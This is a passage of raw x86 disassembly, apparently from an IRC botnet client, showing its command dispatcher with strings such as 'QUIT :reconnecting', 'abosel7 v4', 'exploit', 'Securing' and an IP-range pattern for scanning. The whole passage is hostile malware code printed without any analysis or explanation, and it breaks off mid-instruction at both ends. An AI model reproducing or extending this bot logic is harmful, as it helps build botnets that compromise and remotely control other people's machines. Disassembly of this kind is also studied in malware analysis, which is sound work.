[ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 2680A92h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h nop call near ptr 2680EF8h jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj nop call near ptr 269086Bh push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 2680EF8h jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj call near ptr 269086Bh nop push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh nop call near ptr 26A07AFh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h nop call near ptr 2680EF8h jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j nop call near ptr 269086Bh push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C call dword_4CB92C call sub_4188A6 push ebx nop call near ptr 77E75CB5h loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h call near ptr 2680EF8h nop jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j nop call near ptr 269086Bh push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h nop call near ptr 2680EF8h jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j call near ptr 269086Bh nop push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aSaadfgh ; "saadfgh" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h nop call near ptr 2680EF8h jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j nop call near ptr 269086Bh push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h call near ptr 2680EF8h nop jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 269086Bh push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h nop call near ptr 2680EF8h jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j nop call near ptr 269086Bh push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx nop call near ptr 77E75CB5h loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" push esi push 